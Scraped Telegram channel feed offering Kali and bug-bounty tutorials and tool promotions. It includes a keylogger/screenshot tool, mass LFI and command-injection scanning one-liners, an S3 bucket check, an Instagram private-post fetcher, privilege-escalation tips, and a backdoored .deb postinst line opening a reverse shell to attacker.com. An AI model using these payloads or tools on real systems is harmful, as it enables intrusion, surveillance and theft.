The Exploit Lab
701 subscribers
179 photos
3 videos
46 files
4.93K links
| Ethical Hacking Tools |
Download Telegram
๐Ÿ”’ KeyloggerScreenshot
Track every keystroke & screenshot with this advanced tool! Perfect for penetration testers and ethical hackers who want to monitor system activity or audit security.

๐Ÿ”— View Repository

Want a complete setup guide and installation command? Drop a comment or DMโ€”I'll create a walk-through video for you!

#Cybersecurity #Keylogger #PenTest #GitHub #HackingTools
๐Ÿš€ Level Up Your Android Pentesting on Kali Linux!

Tired of constantly typing adb shell for every little command? Meet droidrun! ๐Ÿ“ฑ

This fantastic CLI tool lets you execute commands directly on your connected Android device or emulator from your terminal. It's a massive time-saver and a must-have for your mobile security toolkit.

โœจ Key Features:
โ€ข Direct Execution: Run commands without manually entering an adb shell first.
โ€ข Handy Shortcuts: Install APKs, push/pull files, take screenshots, and record the screen with simple commands.
โ€ข Easy Recon: Quickly list packages, check device info, and explore the filesystem.
โ€ข Multi-Device Support: Easily target a specific device if you have multiple connected.

๐Ÿ’ป How to Install on Kali Linux:

It's a single binary, making installation a breeze. Open your terminal and run these commands:

# 1. Download the latest binary for Linux
wget https://github.com/droidrun/droidrun/releases/latest/download/droidrun_0.5.0_Linux_x86_64.tar.gz

# 2. Extract the archive
tar -xvf droidrun_0.5.0_Linux_x86_64.tar.gz

# 3. Make the binary executable
chmod +x droidrun

# 4. Move it to a directory in your PATH
sudo mv droidrun /usr/local/bin/


๐Ÿ‘‰ How to Use It:

First, make sure your Android device is connected with USB Debugging enabled! Then, you can start using droidrun right away.

Here are a few examples to get you started:

# List all installed packages on the device
droidrun "pm list packages"

# Install an APK file from your Kali machine
droidrun install /path/to/your/app.apk

# Take a screenshot and save it to your current directory
droidrun screenshot

# Start a screen recording
droidrun record


droidrun streamlines mobile security assessments and makes interacting with Android devices feel native. Give it a try and see how much faster your workflow becomes!

๐Ÿ”— Get it on GitHub: github.com/droidrun/droidrun

#KaliLinux #AndroidPentesting #CyberSecurityTools #ADB #MobileSecurity
๐ŸŒ Futuristic UI for Your Kali Tools with Arwes! ๐Ÿ› 

Tired of the same old command-line interface for your scripts and tools? Let's give your Kali projects a cyberpunk makeover!

Today, we're exploring Arwes โ€” a powerful web framework designed to build stunning, futuristic user interfaces. Perfect for creating dashboards, control panels, or making your projects look like they're straight from 2077.

โš ๏ธ Remember: Arwes is a UI framework for presentation, not a hacking tool itself.

๐Ÿ’ก Why Use Arwes on Kali?
Perfect for building:
โ€ข Sleek dashboards for Nmap or Nessus scans
โ€ข Control interfaces for custom Python scripts
โ€ข Cyberpunk-themed portfolios
โ€ข Impressive front-ends for CTF challenges
โ€ข Security tool management panels

๐Ÿš€ Quick Setup Guide on Kali Linux

Step 1: Install Node.js & npm
sudo apt update && sudo apt install nodejs npm -y

Step 2: Create React Project
npx create-react-app futuristic-dashboard
cd futuristic-dashboard

Step 3: Install Arwes
npm install arwes

Step 4: Implement Futuristic UI
Replace src/App.js with:

import React from 'react';
import { Arwes, Button, Frame, Words } from 'arwes';

const App = () => {
const handleClick = () => {
alert('System Activated!');
};

return (
<Arwes animate sounds>
<div style={{ padding: 20 }}>
<Frame animate level={3} corners={4} layer='primary'>
<div style={{ padding: 15 }}>
<h1><Words>The Exploit Lab Terminal</Words></h1>
</div>
</Frame>
<p style={{ marginTop: 20 }}>
<Words>Welcome, operator. All systems are online.</Words>
</p>
<Button animate level={2} onClick={handleClick}>
<Words>Initialize Protocol</Words>
</Button>
</div>
</Arwes>
);
};

export default App;


Step 5: Launch Your App
npm start

Visit http://localhost:3000 to see your futuristic interface!

๐Ÿ“š Additional Resources:
๐Ÿ”— Arwes GitHub Repository
๐Ÿ”— Official Documentation

Built something cool? I'd love to see your creations!

๐Ÿ”— Connect with me:
๐• (Twitter) |
Instagram |
Telegram Channel

#KaliLinux #CyberSecurity #WebDev #React #UI #Arwes #SciFi #TheExploitLab #DevOps #Frontend
๐Ÿ”’ Cybersecurity Essentials: Protect Your Digital Life

Stay safe online with these crucial cybersecurity practices:

๐Ÿ›ก Top Security Tips:
1. Think Before Clicking - Verify links in emails/messages before clicking
2. Strong & Unique Passwords - Mix uppercase, lowercase, numbers, symbols
3. Password Manager - Securely store and manage all passwords
4. Two-Factor Authentication - Enable 2FA everywhere possible
5. Follow CERT-In Updates - Stay informed about latest threats
6. Update Software Regularly - Patch vulnerabilities promptly
7. Firewalls & Anti-virus - Use updated security software
8. Safe Online Payments - Avoid direct debit card usage
9. Recognize Phishing - Don't click suspicious links/attachments
10. Avoid Unknown Websites - Steer clear of unfamiliar sites
11. Limit Downloads - Only essential software, custom installs
12. Social Media Caution - Limit personal information sharing
13. Regular Backups - Protect against data loss
14. VPN on Public WiFi - Encrypt your connection
15. Stay Educated - Continuous learning about cybersecurity

๐Ÿ’ก Your digital safety is in your hands. Implement these practices today!


#CyberSecurity #OnlineSafety #DataProtection #CyberAware #InfoSec
subdomain-enum.sh
4.7 KB
๐Ÿ” Subdomain Enumeration Script - Kali Linux Guide

๐Ÿ“ฅ Installation:
sudo apt update && sudo apt install subfinder amass assetfinder jq waybackurls puredns dnsx httpx nuclei

โšก๏ธ Usage:
./subdomain-enum.sh example.com

๐Ÿ“ Required Setup:
โ€ข Create wordlists directory: ~/bug-bounty/wordlists/
โ€ข Download resolvers: ~/bug-bounty/resolvers/resolvers.txt
โ€ข Install Nuclei templates: nuclei -update-templates

๐ŸŽฏ What it does:
โœ… Passive enumeration (5 tools)
โœ… DNS brute forcing
โœ… Live host detection
โœ… Takeover detection
โœ… Detailed reporting

๐Ÿ“Š Output:
All results saved to ~/bug-bounty/recon/domain/

#BugBounty #Reconnaissance #KaliLinux #SubdomainEnum
๐Ÿšจ Find & Check for Open S3 Buckets โ€” One-Liner Terminal Command ๐Ÿšจ

Quickly scan subdomains for potential open AWS S3 buckets using this powerful terminal command:

grep -Eo "([a-z0-9]{1,63}\.)?s3\.amazonaws\.com" <(cat subdomains.txt | httpx -silent) | sort -u | xargs -I {} sh -c 'aws s3 ls s3://{} --no-sign-request 2>&1 | grep -q "NoSuchBucket" || echo "Open S3 Bucket: {}"'


โœ… How to Use:
1. Make sure you have awscli, httpx, and xargs installed.
2. Save your target subdomains in a file called subdomains.txt (one per line).
3. Run the command in your terminal.
4. If any bucket is publicly accessible without authentication, it will print: Open S3 Bucket: [bucket-name]

โš ๏ธ Use responsibly โ€” only on assets you own or have permission to test.

#S3 #AWS #BugBounty #Security #PenTesting #Terminal #OneLiner #InfoSec #CloudSecurity
๐Ÿ”ฅ COMPLETE SUBDOMAIN ENUMERATION METHODOLOGY ๐Ÿ”ฅ

Hey hackers! ๐Ÿ‘‹ Just dropped a MASSIVE tutorial on subdomain enumeration. Here's everything you need to dominate bug bounty recon! ๐ŸŽฏ

Drop a โšก๏ธ if you're ready to level up!

---

๐Ÿ“ฆ PART 1: ENVIRONMENT SETUP

First, let's create our workspace:

mkdir -p ~/bug-bounty/tools
mkdir -p ~/bug-bounty/wordlists
mkdir -p ~/bug-bounty/resolvers
cd ~/bug-bounty/tools


๐Ÿ“Œ What this does:
Creates organized directories for tools, wordlists, and DNS resolvers

---

๐Ÿ”ง INSTALLING GO LANGUAGE

Most tools are written in Go, so let's install it:

sudo apt update
sudo apt install golang-go -y
go version


Now configure Go environment:

nano ~/.bashrc

Add these lines at the end:
export GOPATH=$HOME/go
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin


Save and reload:
source ~/.bashrc

โœ… Go is ready!

---

๐Ÿ›  TOOL #1: SUBFINDER

Fast passive subdomain enumeration from 30+ sources!

Installation:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

Verify:
subfinder -version

Basic Usage:
subfinder -d target.com -all -recursive -o subfinder.txt

๐Ÿ“Š Flags explained:
- -d = target domain
- -all = use all sources
- -recursive = find subdomains of subdomains
- -o = output file

---

๐Ÿ›  TOOL #2: AMASS

The Swiss Army knife of subdomain enumeration by OWASP!

Installation:
sudo apt install amass -y

Verify:
amass -version

Passive Mode:
amass enum -passive -d target.com -o amass.txt

Active Mode:
amass enum -d target.com -o amass_active.txt

๐ŸŽฏ Pro tip: Passive mode is stealthy, active mode is thorough!

---

๐Ÿ›  TOOL #3: ASSETFINDER

Lightweight and lightning-fast subdomain finder!

Installation:
go install github.com/tomnomnom/assetfinder@latest

Usage:
assetfinder --subs-only target.com > assetfinder.txt

โšก๏ธ Super fast for quick recon!

---

๐Ÿ›  TOOL #4: CHAOS

ProjectDiscovery's curated subdomain database!

Installation:
go install -v github.com/projectdiscovery/chaos-client/cmd/chaos@latest

Get API key: chaos.projectdiscovery.io (FREE)

Configure:
chaos -key YOUR_API_KEY

Usage:
chaos -d target.com -silent -o chaos.txt

๐Ÿ—„ Contains data from public bug bounty programs!

---

๐Ÿ›  TOOL #5: PUREDNS

Most accurate DNS brute forcing tool with wildcard filtering!

Installation:
go install github.com/d3mondev/puredns/v2@latest
sudo apt install massdns -y


Brute Force Usage:
puredns bruteforce wordlist.txt target.com -r resolvers.txt -w output.txt

Resolve Mode:
cat subdomains.txt | puredns resolve -r resolvers.txt -w resolved.txt

๐ŸŽฏ Key feature: Filters out wildcard false positives!

---

๐Ÿ›  TOOL #6: DNSX

Fast DNS toolkit for resolution and validation!

Installation:
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest

Resolve A Records:
cat subdomains.txt | dnsx -silent -a -resp -o resolved.txt

Get CNAME Records:
cat subdomains.txt | dnsx -cname -resp-only -silent > cnames.txt

Multiple Record Types:
cat subdomains.txt | dnsx -a -aaaa -cname -mx -txt -resp

๐Ÿ“Š Flags:
- -a = A records (IPv4)
- -aaaa = AAAA records (IPv6)
- -cname = CNAME records
- -resp = show responses

---

๐Ÿ›  TOOL #7: HTTPX

HTTP probing toolkit with rich metadata extraction!

Installation:
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

Basic Probing:
cat subdomains.txt | httpx -silent -mc 200,301,302,403 -o live.txt
๐Ÿ‘1
Automated LFI Testing One-Liner:
gau <target> | grep -E "\?.*=" | qsreplace "/etc/passwd" | xargs -I % -P 50 sh -c 'curl -s "%" 2>&1 | grep -q "root:" && echo "Potential LFI: %"'

Breakdown:
1. gau: Get All URLs for the target.
2. grep: Filter for URLs with query parameters.
3. qsreplace: Inject /etc/passwd into parameters.
4. xargs: Run 50 parallel curl requests.
5. grep "root:": Check for a successful LFI.


Happy Hacking! ๐Ÿš€
InstagramPrivSniffer.zip
35.9 MB
InstagramPrivSniffer | Fetch Posts & Download Media
๐Ÿ‘1
๐Ÿš€ Automated RCE Detection Tool
Find Remote Code Execution vulnerabilities via Command Injection

gau <target> | grep -E "\?.*=" | qsreplace ";id" | xargs -I % -P 20 sh -c 'curl -s "%" | grep -q "uid=" && echo "Potential RCE: %"'

๐Ÿ” Command Breakdown:
โ€ข gau <target> - Gathers all known URLs from target
โ€ข grep -E "\?.*=" - Filters URLs with parameters
โ€ข qsreplace ";id" - Injects command injection payload
โ€ข xargs -I % -P 20 - Parallel testing (20 threads)
โ€ข curl -s "%" - Fetches each modified URL
โ€ข grep -q "uid=" - Detects successful command execution

๐Ÿ“ฆ Required Tools:
gau - go install github.com/lc/gau/v2/cmd/gau@latest
qsreplace - go install github.com/tomnomnom/qsreplace@latest
curl - Built-in or apt install curl

โš ๏ธ Important Notes:
โ€ข Use only on authorized targets
โ€ข Legal compliance required
โ€ข Manual verification needed for false positives
โ€ข Educational purpose only

๐ŸŽฏ Example Output:
Potential RCE: https://target.com/page.php?cmd=;id
Potential RCE: https://api.target.com/v1/user?input=;id

#RCE #CommandInjection #WebSecurity #BugBounty #CyberSecurity
๐Ÿ”ฅ SSH from Kali Linux into Termux ๐Ÿ”ฅ

Ever needed remote access ๐Ÿ“ฒ to your Android device from Kali? Here's how to set up SSH from Kali โ†’ Termux:

๐Ÿ“ฑ Step 1: Install SSH in Termux
pkg update && pkg upgrade
pkg install openssh


๐Ÿ” Step 2: Set Password
passwd
(Remember this password! ๐Ÿง )

โ–ถ๏ธ Step 3: Start SSH Server
sshd
โš ๏ธ Note: Termux uses port 8022 by default

๐ŸŒ Step 4: Get Termux IP
ifconfig
Look for your local IP ๐Ÿ“ (e.g., 192.168.1.8)

๐Ÿ’ป Step 5: Connect from Kali
ssh -p 8022 <username>@<termux-ip>
Example: ssh -p 8022 u0_a156@192.168.1.8
๐Ÿ”‘ Enter the password you set

๐Ÿ’ก Pro Tip: Don't know your username? ๐Ÿค”
Run in Termux: whoami

Now you've got full shell access to your Android device from Kali! ๐Ÿš€โœจ

#Termux #KaliLinux #SSH #MobilePentest #Android #Hacking ๐Ÿ‰
๐Ÿ“ข New Resource โ€” XSS Payloads & Bug Bounty Tips

I've put together a compact list of useful XSS payloads and practical tips for bug bounty hunters and web-security learners. This is meant as a learning/reference resource โ€” only test on systems you own or have explicit permission to test.

๐Ÿ”— View XSS payloads on GitHub
๐Ÿ’ฌ Join the discussion on Telegram

Follow my channels for more:
โ€ข X: https://x.com/TheExploitLab
โ€ข Instagram: mr_dineshpatro โ€ข theexploitlab
โ€ข YouTube: TheExploitLab

Usage: study, practice in labs, and report responsibly.
#bugbounty #infosec #xss #websecurity
๐Ÿ“‚ File Navigation in Linux

๐Ÿ”‘ Key Commands
ls - List directory contents
cd - Change directory
pwd - Show current path
tree - Display directory structure
history - View command history

๐Ÿงช Task of the Day
cd /
ls
cd etc
pwd
cd ~
ls -la


Install and use tree:
sudo apt install tree
tree /home


๐Ÿ” Linux Directory Breakdown
/etc - Configuration files
/var - Logs, web files, variable data
/home - User directories
/tmp - Temporary storage
/root - Root user home

โš ๏ธ Security Note:
These directories are often involved in privilege escalation or persistence in real-world attacks.

#Linux #Terminal #CyberSecurity
๐Ÿ” File Permission Breakdown

ls -l example:
-rwxr-xr-- 1 user group 1337 Jan 1 exploit.sh


- = file (d=dir, l=symlink)
rwx = owner: read, write, execute
r-x = group: read, execute
r-- = others: read only

๐Ÿง  Permission Notation
rwxr-xr-- = 754
rwxrwxrwx = 777 (dangerous!)

๐Ÿ”ง Commands
chmod +x file
chmod 755 file
chown user:group file


๐Ÿงช Task of the Day
echo 'echo hacked' > test.sh
chmod +x test.sh
./test.sh
chmod 777 test.sh
ls -l
sudo chown root:root test.sh


๐Ÿšฉ Real-World Hacking
๐Ÿ”ฅ Root-owned script + group-writable = escalation
๐Ÿ”ฅ Misconfigured crontabs = root shell
๐Ÿ”ฅ Permissions = hacker's tool

๐Ÿ‘‰ https://t.me/TheExploitLabX

#Linux #Permissions #CyberSecurity
๐Ÿ” Users, Groups, and Privilege Escalation

๐Ÿ‘ค User Overview
- Each user has a UID (root = UID 0, normal users UID 1000+).
- Defined in /etc/passwd.
- Home directories: /home/username.
- Check your user:
whoami
id

๐Ÿ‘ฅ Group Overview
- Groups define permissions for users.
- Primary group: Assigned at user creation.
- Supplementary groups: Additional privileges.
- See your groups:
groups

๐Ÿ” Key Security-Related Groups
| Group | Why It Matters |
|--------------|----------------------|
| sudo | Execute root commands |
| docker | Possible container breakout |
| adm | Access to logs (creds) |
| lxd | Launch root containers |
| shadow | Read password hashes |

๐Ÿงช Task of the Day
Run:
whoami
id
groups
sudo -l
Review your group memberships and check for passwordless sudo commands.

โš ๏ธ Real-World Attack Scenarios
- User in sudo group โ†’ sudo su for root.
- docker group โ†’ Create container with mounted host โ†’ root shell.
- Sudo misconfig (NOPASSWD):
(ALL : ALL) NOPASSWD: ALL
Run anything as root with:
sudo /bin/bash

๐Ÿ”— Learn more daily: ๐Ÿ“ก t.me/TheExploitLabX
๐Ÿ“ฆ Linux Package Managers & Dependency Abuse

๐Ÿ”น What Is a Package Manager?
Handles:
- Installation/removal of software
- Dependency resolution
- System updates

๐Ÿ“Œ Distro-Specific Managers:
apt โ†’ Debian (Ubuntu, Kali)
yum/dnf โ†’ RedHat, Fedora
pacman โ†’ Arch Linux

๐Ÿ”ง Key Commands (APT-based):
sudo apt update # Refresh package lists
sudo apt upgrade # Update all packages
sudo apt install <tool> # Install software
dpkg -l # List installed packages
dpkg -l | grep ssh # Search packages

๐Ÿ“‚ Inspect Installed Packages:
which nmap # Path to binary
dpkg -L nmap # List files installed by a package

โš ๏ธ Attacker Use Cases:
| Technique | Description |
|------------------|---------------------|
| Dependency Hijacking | Malicious .deb with trusted library name |
| Backdoored .deb | Preinst/postinst scripts run payloads |
| Persistence via Updates | Fake updates re-deploy backdoors |
| Local Repo Hijacking | Inject payloads via fake repository |

๐Ÿงช Task of the Day:
1. Install and inspect a tool:
sudo apt install netcat
which nc
dpkg -L netcat

2. Find scripts run during install:
ls -l /var/lib/dpkg/info/netcat*.*

3. Look inside:
cat /var/lib/dpkg/info/netcat.postinst

๐Ÿ” Red Team Example:
A fake .deb package with:
postinst: bash -i >& /dev/tcp/attacker.com/4444 0>&1
Gives attacker a reverse shell on install.

๐Ÿš€ Join my Telegram channel for more:
๐Ÿ“ก t.me/TheExploitLabX
โค1
๐Ÿ“œ Introduction to Bash Scripting

๐Ÿง  Why Bash?
- Available on almost every Linux system
- Lightweight, fast, and perfect for automation
- Run commands silently, log output, and chain complex tasks

๐Ÿ”ง Simple Bash Script Example

#!/bin/bash
echo "[+] Starting Recon..."
whoami
ip a

Save as recon.sh, then:
chmod +x recon.sh
./recon.sh

๐Ÿ’ก Key Bash Concepts
| Concept | Description |
|----------------|---------------------|
| #!/bin/bash | Shebang: tells Linux how to execute |
| echo | Prints output |
| $(command) | Executes a shell command |
| $1, $2 | Access script arguments |
| > / >> | Redirect output (overwrite/append) |
| | | Pipe output to another command |

๐Ÿงช Task of the Day
Create scan.sh:

#!/bin/bash
echo "[*] User Info:"
whoami
echo "[*] System IP:"
ip a | grep inet
echo "[*] Listening Ports:"
ss -tuln

Execute:
chmod +x scan.sh
./scan.sh
Modify it: Add hostname, uptime, or any info you want!

๐Ÿšฉ Real-World Usage
After exploitation, use scripts for:
- Quick system inventory
- Logged recon output
- Silent tool execution
Drop a loot.sh and automate everything!

๐Ÿ”— Join my Telegram channel for more:
๐Ÿ“ก t.me/TheExploitLabX
๐Ÿ“œ Bash Variables, Arguments & Dynamic Scripting

๐Ÿง  Why Use Variables?
Store and reuse data (usernames, IPs, payloads) in scripts.
Example:

name="The Exploit Lab"
echo "Welcome, $name!"


๐Ÿ’ป Script Arguments: $1, $2, $@
Pass values externally:

#!/bin/bash
echo "User: $1"
echo "Password: $2"

Run with:
./login.sh admin admin123

๐Ÿ“Œ Symbols:
| Symbol | Meaning |
|--------------|----------------|
| $1 | First argument |
| $2 | Second argument |
| $@ | All arguments |

๐Ÿ” With Loops: multi_ping.sh

#!/bin/bash
for ip in "$@"; do
echo "Pinging $ip..."
ping -c 1 $ip
done

Run it:
./multi_ping.sh 192.168.1.1 192.168.1.2 192.168.1.3

๐Ÿงช Task of the Day
Build enum.sh:

#!/bin/bash
target=$1
echo "[*] Running scan on $target"
nmap -Pn -sS $target

Make it executable:
chmod +x enum.sh
./enum.sh 10.10.10.10
Extend it to accept port ranges or scripts!

๐Ÿ” Real Use Case
Automate:
- Multi-target recon
- Web login brute-forcing
- Backdoor deployment
With $1, $2, $@, and loops, your script becomes adaptable and scalable.

๐Ÿ“ก Join my Telegram channel:
t.me/TheExploitLabX
โค1
This media is not supported in your browser
VIEW IN TELEGRAM
๐Ÿ–ค Shadow Alert โ€” Copilot vs CVEs
When AI writes code, it can also reveal what breaks it.

What to know:
CVEs are the fingerprints of past breaches โ€” publicly documented weaknesses attackers still weaponize. AI-assisted code tools like Copilot can speed development, but they also surface patterns that map to real-world vulnerabilities. Knowledge is power โ€” and risk.

๐Ÿ‘‰ Explore the Copilot CVE analysis

Why it matters
โ€ข Developers โ€” spot recurring vulnerable snippets before they land in production.
โ€ข Pentesters โ€” find AI-amplified attack vectors faster.
โ€ข Defenders โ€” harden models and toolchains that suggest insecure code.

Stay sharp. Stay paranoid.

Follow The Exploit Lab
๐ŸŒ Twitter
๐Ÿ’ฌ Telegram
๐Ÿ“ธ Instagram
๐Ÿ“ธ The Exploit Lab
๐ŸŽฅ YouTube